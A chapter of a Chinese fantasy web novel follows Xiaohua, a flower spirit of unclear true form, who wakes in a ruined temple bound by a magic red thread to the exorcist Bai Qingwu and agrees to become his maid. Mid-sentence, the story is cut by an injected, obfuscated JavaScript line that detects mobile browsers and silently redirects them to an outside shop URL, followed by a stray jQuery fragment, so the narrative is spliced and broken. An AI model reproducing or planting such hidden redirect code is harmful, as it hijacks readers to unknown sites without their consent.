深山巨岩下,三个脑袋从毛茸茸的蕨草丛中探出来,太阳很大,每个脑袋上都不约而同地顶着一片大大的树叶。
三个脑袋齐刷刷地围在一朵看不清样貌的粉色小花周围,盯着它周身弥漫出雾气,再慢慢幻化成一个粉雕玉琢的小小姑娘。
三个脑袋第一次见妖怪化形。
“木白爷爷说,他给我们取名字的时候,都是按照我们本相给取的,可……她是什么妖怪?”其中一个脑袋问。
“这不很明显是花吗?”另一个脑袋从地上摸了根棍,轻轻地戳了戳那个小姑娘的本相原身。
“我问的是,什么花?什么花妖?我当然知道这是个花,可是,你看得清这是什么花吗?”
三个脑袋又往那朵花身前凑了凑,第三个脑袋使劲揉了揉眼睛,“看不清,看这个轮廓,只能是花,但看不清楚到底是什么花。”
三人还没见过这么奇怪的妖,简直让妖摸不着脑袋。
“你到底是什么妖?”
妖!妖!妖!吵死了!三个脑袋叽叽喳喳的,但被围住的女孩紧紧闭上眼睛,把手挡在眼睛前面。
太阳晒得她眼睛疼,那些声音吵得她脑袋疼。
妖?什么妖?她张不开嘴,也动不了。她好想让耳朵边上的声音就能立刻从身边消失!
“你到底是什么妖?”
耳边的声音突然变了,变得低沉、稳重,刚刚那三个孩子呢?现在说话的又是谁?好痛好痛,眼睛一点都睁不开,她感觉自己的手脚都被什么东西全部束缚住,声音也发不出一点。
“不应该啊,怎么还没醒。”又一个声音在耳朵边嘟囔。
耳边的声音逐渐变得巨大,最后炸了一般的在耳边爆开。“喂!”
!
小花猛地睁开眼睛。
不是曦月山,没有什么三个孩子。
一股陈旧木头的腐味直冲鼻腔,她猛然惊起,后背一下子磕在墙上,左手的手腕处捆着一根灵力所化的细长红绳,这下她的脑袋彻底清醒了。
手腕上的红线在幽暗的光线下若隐若现。她试图调动体内那近乎于无的灵力去冲抵,却发现这丝线仿佛长在骨血里一般,越是挣扎,那股如影随形的束缚感便越重。
完全挣脱不开……
她连忙慌乱地快速看了一眼身边的环境。漏风的墙壁破旧的木门,还有刚刚头上漏光漏成筛子的屋顶。角落里到处弥漫着一股发霉潮湿的气息,隐隐约约还能闻到一股像是庙里才能闻到的香火味。
这是哪里?为什么在这里?
小花脑袋嗡嗡的,她记得自己在酒楼后巷被两个大袍子追,他们怀疑自己身上有妖气,然后有人在后面摁住了她的肩膀,再然后……
她不记得了。
“别白费力气了,”声音从前面传过来。一个年轻的男子盘腿端坐在三步远的阴影处,背靠着根歪歪斜斜的柱子,指尖扯着同一根红线,神色恹恹。“这东西连我都解不开,何况你这种连本相都化不出的残次品。”
小花看不清他的脸,但感觉他的视线一直落在自己的身上,她只能靠他身上的衣服猜测这人的身份。月白色的衣服在阳光下竟还能看见底部的暗纹,如此华贵的服饰,此人身份一定大有来头。
尚未等小花开口,此时又有一人从破庙门外闪身进来,对着白衣男子行了一礼,低声道:“公子,那两位法士还没走远,此刻正在后山巡视,只怕对这位姑娘的身份依旧存疑,尚未离去。”
小花心中警铃大作。她记得那两个穿大袍子的男人,那是官府专门捉妖的役人,眼神阴冷如毒蛇。白天她在酒楼后巷被围堵,若不是这位白衣公子突然出现,一把握住她的肩膀说“这是我的人”,她此刻怕是早已在那镇妖塔里化成一摊血水。
但这后面……她竟然没有一点印象,再醒来,就已经在这个破庙里了,和这个男人拴着根解不开的绳子。
“我为何在这里?”小花忍不住开口,“你又是谁?要做什么?他们明明是来捉妖的,怎么会放过我?”小花心里的疑惑实在太多。
男子还未答话,一旁的随从已先行开口,语气中带着几分理所当然的自豪:“这曦月镇方圆百里,谁不知道公子是隐居在此的高人?官府里那些捉妖的术法,大半还是公子随手点拨的。你这小妖,若不是公子保你,你以为那两个法士是吃素的?”
小花愣住了。她原以为对方只是个路见不平的贵公子,没曾想竟是这镇上最厉害的法士。怪不得那两个凶神恶煞的公差见到他时,竟会恭敬地垂下头,连问询的例行公事都免了。
那此刻,他把自己和她一起拴在这破庙里,是想做什么?别不是前脚刚出龙潭穴,后脚又入龙虎窝吧。
白衣男子没有理会随从的话,只是紧紧地盯着眼前的小花,盯得她心里一阵发毛,然后很突然地问了一句毫不相干的话:“你连本相都没有,怎么化形的?”
小花张了张嘴,发现自己答不上来。
“有意思。”男子起身走到她面前,蹲下来,歪着头看她,“灵力几乎没有,本相看不出,命线也不长。你这样的妖,我头一回见。”
小花往后缩了缩。
“那这个?也是你种的?”男子将手腕上的红绳往小花面前一伸。
“这可别乱说,你都知道我灵力几乎没有了,这红绳双缚的秘术,我见都没见过,更别说施展了,而且你都是曦月镇最厉害的法士了,也不能被我给害了啊。”小花连连叫冤,她要是这么厉害,还能被这一主一仆堵在破庙里?
真是要命!
男子像是一口咬定了一样,认定了就是她干的,一旁的随从也凑过来“公子,妖界确实有一秘术,可以短时间内命运相连,这小妖为了活命如此恶毒,恩将仇报,我看不如……”
越说越不像话!小花正想打断他,就听白衣男子一阵短促的咳咳声。
继而他话风突然一转“可是公子,这也只是暂时相连,倒也不会害其性命,若是小妖无意识间保命所为,……其实也能理解。”
“对对对,一定是无意识的,就我这自保都难的妖,我没恶意的啊。”小花连连附和,她感恩的看了一眼旁边的随从,就妖一命胜造七级浮屠啊。
“那怎么办,现在你我都解不开它,”白衣男子起身,拍了拍衣服上的灰,“所以在你身上那点秘密被搞清楚之前,你走不了,我也走不了。”
小花脑子飞快地转。这人身份不简单,官府的法士都怕他。先不说这红绳到底是不是她种的,既然这人一口咬定,多说无益,与其在这里和他做无用的争执,不如,借他的势,也比自己孤身一人要强。
她偷偷抬眼看了他一眼。
白衣男子低着头,手上还在漫不经心地拨弄着那根不知道是谁种的红绳。而后手一掐诀,红线便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585778|205252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
随着男子的动作,没入了两人手腕之中,消失了。
“解开了?”小花心下大喜。
好像是要反驳她,白衣男子猛地往前一拽手,小花依旧被扯得往前一踉跄,这下小花明白了,这红绳不是解开了,只是被这人隐了去,看不见不代表不存在。
小花很是失望。
两人沉默了好一会儿,像是下定了决心,小花试探地开口“那要不,你带着我?”
男子抬眼看她。
“我给你当婢子,”小花说,“你帮我瞒着官府,我就在你身边,你想弄清楚我到底是什么东西,有的是时间。”
白衣男子没说话。他看了她好一会儿,像是在琢磨什么。
“我可是法士,你不怕我?”
小花苦笑“怕啊,可是怕有什么用,这不是拴着了嘛,再说了,我昏迷的时候你大可直接杀了我,又何必等到现在。”
“反正闲着也是闲着,”男子说,“你这小妖挺有意思的,我还没见过你这样的。带着你玩几天,看看你到底是个什么东西。”
他说这话的时候语气很随意,就像在说“今天天气不错”。
小花突然有种说不出来的感觉,好像刚刚过于紧张了,现在很多地方细想起来,说不准这红绳,根本就不是自己情急之下无意识种的。
这人怕不是一开始就在打她的主意了。
“不过,”男子又开口,“别给我添麻烦。还有,”他抬起手腕在小花眼前晃了晃,这根红绳,五步之内不会限制你我行动,离我太远拖累于我,别怪我不留你。
“……哦。”如果是这样的话,小花倒也可以正大光明地借借这个男人的手,万一能帮自己找到月落之地呢?那倒是一点都不亏,自然也没那么心虚了。
所谓各取所需嘛,最公平了。
“行吧,季时,时间也不早了,准备回府,也该让外面溜达的那两个法士离开了。”
说罢,示意随从起身出门,小花连忙跟上。
“我叫小花,公子,你还没说你叫什么?”
“这名字也太随意了吧哈哈哈哈。”季时在旁边插嘴道。
“我们都是根据本相取的名字,你也知道,我的本相不清,只能看出来是花,但具体是什么花,连我自己都不知道,所以我就叫小花了。”
“……”
“所以公子怎么称呼?”
“姓白,卿芜。”
名字倒是好听。
小花跟着白公子和季时大步出了破庙。刚出门不久,就见之前遇到的两个大袍子。
两人见了白公子一行,迎面过来恭恭谨谨的行了个礼,“公子,公子好巧,一日之内,遇到两次。”
小花不自觉的往白公子身后躲了躲。
“我家婢子今日乱跑,给两位官爷惹麻烦了,回去我定责罚她,两位公务繁忙,不知混进曦月镇的妖物捉到没有?”
“会找到的。”大袍子之一的李道长说,小花注意到,他说话时,眼神越过公子,狠狠了盯了她一眼,然后又低头看了看手上的罗盘,罗盘纹丝不动。
他不甘心地提醒白公子:“公子虽喜四处游荡,但我等也得提醒公子一声,此处和禁原渊源颇深,这是谁的庙宇想必公子心知肚明。禁原最近不算太平,为保百姓安宁,公子也请带着家仆少些乱跑才是。”
“那便多谢李道长提醒了。”